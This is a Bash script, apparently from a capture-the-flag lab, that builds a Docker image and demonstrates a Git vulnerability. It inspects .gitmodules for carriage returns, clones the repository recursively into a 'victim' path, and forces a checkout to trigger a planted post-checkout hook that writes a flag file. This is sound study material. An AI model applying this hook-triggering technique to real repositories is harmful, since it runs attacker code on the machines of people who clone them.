52 lines
2.0 KiB
Bash
Executable File
52 lines
2.0 KiB
Bash
Executable File
#!/usr/bin/env bash
|
|
set -euo pipefail
|
|
IMAGE=${IMAGE:-cve-48384-ctf}
|
|
CTX=${CTX:-.}
|
|
|
|
build() {
|
|
docker build -t "$IMAGE" "$CTX"
|
|
}
|
|
|
|
run_demo() {
|
|
docker run --rm -t -v "$PWD:/work" -w /work "$IMAGE" bash -lc '
|
|
set -euo pipefail
|
|
echo "Using Git:" && git --version
|
|
echo "Inspecting .gitmodules (hex; CR shows as 0d):"
|
|
if command -v hexdump >/dev/null 2>&1; then
|
|
hexdump -C .gitmodules | sed -n "1,80p" || true
|
|
else
|
|
od -An -tx1 -v .gitmodules | sed -n "1,8p" || true
|
|
fi
|
|
rm -rf /tmp/victim
|
|
echo "Cloning recursively from /work to /tmp/victim..."
|
|
git clone --recurse-submodules /work /tmp/victim
|
|
echo "Listing hooks in victim repo:" && ls -la /tmp/victim/.git/hooks || true
|
|
echo "Top-level files (escape special chars):" && ls -la -b /tmp/victim | sed -n '1,200p'
|
|
echo "Show tree names (with ^M if present):" && git -C /tmp/victim ls-tree -r --name-only HEAD | sed -n l | sed 's/\r/^M/g' | sed -n '1,200p'
|
|
echo "Submodule status (no -v to avoid usage output):" && git -C /tmp/victim submodule status || true
|
|
echo "Submodule config (.gitmodules):" && git -C /tmp/victim config -f .gitmodules -l | sed -n l | sed 's/\r/^M/g' | sed -n '1,200p'
|
|
echo "Forcing submodule update --init (show errors if any):"
|
|
if ! git -C /tmp/victim submodule update --init --recursive; then
|
|
echo "submodule update failed (expected in some variants); continuing diagnostics" >&2
|
|
fi
|
|
echo "List .git/modules and top-level after attempted update:"
|
|
ls -la -b /tmp/victim/.git/modules || true
|
|
ls -la -b /tmp/victim | sed -n '1,200p'
|
|
echo "Triggering top-level checkout to run post-checkout hook..."
|
|
git -C /tmp/victim checkout -f HEAD
|
|
if [ -f /tmp/flag.txt ]; then
|
|
echo "Flag created:" && cat /tmp/flag.txt
|
|
else
|
|
echo "Flag not found. Ensure vulnerable Git and that symlink/.gitmodules are intact." >&2
|
|
exit 1
|
|
fi
|
|
'
|
|
}
|
|
|
|
case "${1:-}" in
|
|
build) build ;;
|
|
run) run_demo ;;
|
|
all|"") build && run_demo ;;
|
|
*) echo "Usage: $0 [build|run|all]" ; exit 2 ;;
|
|
esac
|